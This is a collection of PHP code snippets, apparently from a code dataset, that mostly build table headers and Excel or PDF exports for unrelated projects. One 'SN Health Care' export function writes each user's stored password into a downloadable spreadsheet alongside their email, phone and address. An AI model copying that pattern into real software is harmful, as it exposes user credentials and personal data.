\t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nomor Registrasi');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Nomor KTP');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public static function get_question_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('qnumber', 'mod_simplelesson');\n $headerdata[] = get_string('question_name', 'mod_simplelesson');\n $headerdata[] = get_string('question_text', 'mod_simplelesson');\n $headerdata[] = get_string('questionscore', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('setpage', 'mod_simplelesson');\n $headerdata[] = get_string('qlinkheader', 'mod_simplelesson');\n\n return $headerdata;\n }", "private function headings() {\n\t\t$this->section_data['general_h_tags'] = array(\n\t\t\t'name' \t\t\t\t\t=> 'general_h_tags',\n\t\t\t'label' \t\t\t\t=> __( 'Headings', 'fixedtoc' ),\n\t\t\t'default' \t\t\t=> array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ),\n\t\t\t'type' \t\t\t\t\t=> 'multi_checkbox',\n\t\t\t'choices'\t\t\t\t=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h1' => 'Heading 1',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h2' => 'Heading 2',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h3' => 'Heading 3',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h4' => 'Heading 4',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h5' => 'Heading 5',\n\t\t\t\t\t\t\t\t\t\t\t\t\t'h6' => 'Heading 6',\n\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t'des'\t\t\t\t\t\t=> __( 'Check which HTML headings automatically generated table of contents.', 'fixedtoc' )\n\t\t);\n\t}", "function header() {\n //\n //Get the fields in this sql \n $cols= $this->fields->get_array();\n //\n //Loop through the fields and display the <tds>\n foreach ($cols as $col) {\n //\n $name= is_null($col->alias) ? $col->to_str():$col->alias;\n echo \"<th>$name</th>\"; \n }\n }", "public static function wdtSheetsNoHeadingValidation()\n {\n return [\n 'Age-Gen-Educ-Employ',\n 'Employment_timeseries',\n 'Training activity_FoE',\n 'Training activity_TP',\n 'Qual completions',\n // TODO more imports\n ];\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function headings(): array\n {\n return [\n '#ID',\n 'APELLIDO',\n 'NOMBRE',\n 'EMAIL',\n 'ROLE',\n 'PERMISOS ADICIONALES',\n 'FECHA DE CREACIÓN',\n ];\n }", "static function generateTableHeaderHTML()\n\t{\n\t\techo \"<tr class='exTableRow'>\\n\";\n\t\techo \"<th class='exTableColLineNum'>Item #</th>\\n\";\n\t\techo \"<th class='exTableColDesc'>Description of Work</th>\\n\";\n\t\techo \"<th class='exTableColAmount'>Amount</th>\\n\";\n\t\techo \"</tr>\\n\";\n\t}", "function experiences_columns_head($defaults) {\n $defaults['experience_order'] = 'Order';\n $defaults['featured_image'] = 'Featured Image';\n $defaults['experience_size'] = 'Size';\n $defaults['experience_link'] = 'Link';\n return $defaults;\n}", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function Assessors_Inscription_Assessors_Table_Titles($datas,$frienddatas,$submissiondatas)\n {\n return\n array_merge\n (\n array($this->B(\"No\")),\n $this->FriendsObj()->MyMod_Data_Titles($frienddatas),\n $this->SubmissionsObj()->MyMod_Data_Titles($submissiondatas),\n $this->MyMod_Data_Titles($datas),\n array(\"\")\n );\n }", "function _webform_csv_headers_file($component) {\r\n $header = array();\r\n // Two columns in header.\r\n $header[0] = array('', '');\r\n $header[1] = array($component['name'], '');\r\n $header[2] = array(t('Name'), t('Filesize (KB)'));\r\n return $header;\r\n}", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "public function Header()\r\n\t{\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14);\r\n\t\t$this->Cell(170,7,\"Date :: \". $this->today_date ,1,0,'C');\r\n\t\t$this->Ln();\r\n\t\t$this->SetFont('Arial','',14); \r\n\t\t$this->MultiCell(170,8,\"Room Things Report \\n\".$this->title,1,'C');\r\n\t\t$this->Ln(5);\r\n\r\n\t}", "public function getHeading(): string;", "function Table_Headers($header,$w)\r\n{\r\n //Colors, line width and bold font\r\n $this->SetFillColor(153,153,153);\r\n $this->SetTextColor(0);\r\n $this->SetDrawColor(128,0,0);\r\n $this->SetLineWidth(.3);\r\n $this->SetFont('Arial','B','7');\r\n\t\r\n //Header\r\n\t\r\n\t//Output table header\r\n for($i=0;$i<count($header);$i++)\r\n $this->Cell($w[$i],5,$header[$i],1,0,'C',1);\r\n $this->Ln();\r\n}", "function styleHeaderExcel()\n{\n $styleHeader = array(\n 'font' => array(\n 'size' => 16,\n 'name' => 'Calibri',\n ), 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER,\n ), 'fill' => array(\n 'type' => PHPExcel_Style_Fill::FILL_GRADIENT_LINEAR,\n 'rotation' => 90,\n 'startcolor' => array(\n 'argb' => 'B5B5B5',\n ), 'endcolor' => array(\n 'argb' => 'E0E0E0',\n ),\n ),\n );\n return $styleHeader;\n}", "function generateTitle($header, $data)\n\t{\n\t\t$this->SetFillColor(63,73,204);\n\t\t$this->SetTextColor(255);\n\t\t$this->SetDrawColor(18,0,0);\n\t\t$this->SetLineWidth(.1);\n\t\t$this->SetFont('','B');\n\t\t// Header\n\t\t$w = array(70, 25, 30, 20,30,35,25);\n\t\tfor($i=0;$i<count($header);$i++)\n\t\t\t$this->Cell($w[$i],7,$header[$i],1,0,'C',true);\n\t\t$this->Ln();\n\t\t// Color and font restoration\n\t\t$this->SetFillColor(224,235,255);\n\t\t$this->SetTextColor(0);\n\t\t$this->SetFont('');\n\t\t// Data\n\t\t$fill = false;\n\t\tforeach($data as $row)\n\t\t{\n\t\t\t$this->Cell($w[0],6,$row[0],'LR',0,'L',$fill);\n/*\t\t\t$this->Cell($w[1],6,$row[1],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[2],6,$row[2],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[3],6,$row[3],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[4],6,$row[4],'LR',0,'C',$fill);\n\t\t\t$this->Cell($w[5],6,$row[5],'LR',0,'C',$fill);*/\n\t\t\t$this->Ln();\n\t\t\t$fill = !$fill;\n\t\t}\n\t\t// Closing line\n\t\t$this->Cell(array_sum($w),0,'','T');\n\t}", "public function header($Arr_Labels=false)\n\t{\n\t\t$this->Arr_Labels = $Arr_Labels;\n\n $Int_Column = 0;\n if ($Arr_Labels)\n {\n\t foreach ($Arr_Labels as $Str_Field => $Str_Label)\n\t\t\t{\n $Str_Column = $Str_Label;\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t\t\t\t$Int_Column++;\n\t }\n\t\t}\n\t\telseif (isset($this->Arr_Data[0]))\n\t\t{\n\t foreach ($this->Arr_Data[0] as $Str_Field => $Str_Label)\n\t\t\t{\n\t\t\t\t$Int_Column++;\n $Str_Column = Inflector::humanize($Str_Field);\n $this->Obj_Doc->getActiveSheet()->setCellValueByColumnAndRow($Int_Column, 1, $Str_Column);\n\t }\n\t\t}\n\n\t\t//Set the worksheet styles.\n $this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->setFillType(PHPExcel_Style_Fill::FILL_SOLID);\n //$this->Obj_Doc->getActiveSheet()->getStyle('A1')->getFill()->getStartColor()->setRGB('ffffff');\n $this->Obj_Doc->getActiveSheet()->duplicateStyle( $this->Obj_Doc->getActiveSheet()->getStyle('A1'), 'B1:'.$this->Obj_Doc->getActiveSheet()->getHighestColumn().'1');\n\n\t\tfor ($i = 1; $i <= $Int_Column; $i++)\n\t\t{\n $this->Obj_Doc->getActiveSheet()->getColumnDimension(PHPExcel_Cell::stringFromColumnIndex($i))->setAutoSize(true);\n }\n\n\t\treturn $this;\n\t}", "public static function get_edit_table_headers() {\n\n $headerdata = array();\n $headerdata[] = get_string('sequence', 'mod_simplelesson');\n $headerdata[] = get_string('pagetitle', 'mod_simplelesson');\n $headerdata[] = get_string('prevpage', 'mod_simplelesson');\n $headerdata[] = get_string('nextpage', 'mod_simplelesson');\n $headerdata[] = get_string('hasquestion', 'mod_simplelesson');\n $headerdata[] = get_string('actions', 'mod_simplelesson');\n\n return $headerdata;\n }", "function table_table_header_row($values)\n{\n\t$cells=new ocp_tempcode();\n\tforeach ($values as $value)\n\t{\n\t\t$cells->attach(do_template('TABLE_TABLE_HEADER_ROW_CELL',array('_GUID'=>'5002f54ccddf7259f3460d8c0759fd1a','VALUE'=>$value)));\n\t}\n\n\treturn 